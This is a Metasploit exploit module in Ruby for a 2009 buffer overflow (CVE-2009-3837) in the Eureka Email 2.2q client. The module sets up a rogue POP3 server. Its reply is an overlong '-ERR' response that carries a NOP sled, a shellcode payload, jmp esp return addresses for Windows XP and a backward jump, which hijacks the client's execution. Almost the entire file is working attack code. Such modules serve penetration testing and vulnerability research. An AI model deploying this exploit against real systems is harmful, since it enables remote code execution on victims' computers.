Eureka Email 2.2q ERR Remote Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Eureka Email 2.2q ERR Remote Buffer Overflow',
      # bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1
      # overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address
      'Description'    => %q{
        This module exploits a buffer overflow in the Eureka Email 2.2q
        client that is triggered through an excessively long ERR message.

        NOTE: this exploit isn't very reliable. Unfortunately reaching the
        vulnerable code can only be done when manually checking mail (Ctrl-M).
        Checking at startup will not reach the code targeted here.
      },
      'Author' 	 =>
        [
          'Francis Provencher (Protek Research Labs)',
          'Dr_IDE',
          'dookie',
          'jduck'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-3837' ],
          [ 'OSVDB', '59262' ],
          [ 'EDB', '10235' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 700,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
          'DisableNops' => true,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Win XP SP3 English',	{ 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll
          [ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll
        ],
      'Privileged'     => false,
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2009-10-22'
      ))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
      ])
  end

  def on_client_connect(client)
    return unless regenerate_payload(client)

    # the offset to eip depends on the local ip address string length...
    already = "Your POP3 server had a problem.\n"
    already << datastore['LHOST']
    already << " said:\n\n    -ERR "
    space = (512+256+4) - already.length

    buffer =  "-ERR "
    buffer << make_nops(space - payload.encoded.length)
    buffer << payload.encoded
    buffer << [target.ret].pack('V')
    buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string
    buffer << "\r\n"

    print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
    client.put(buffer)

    handler
    service.close_client(client)
  end
end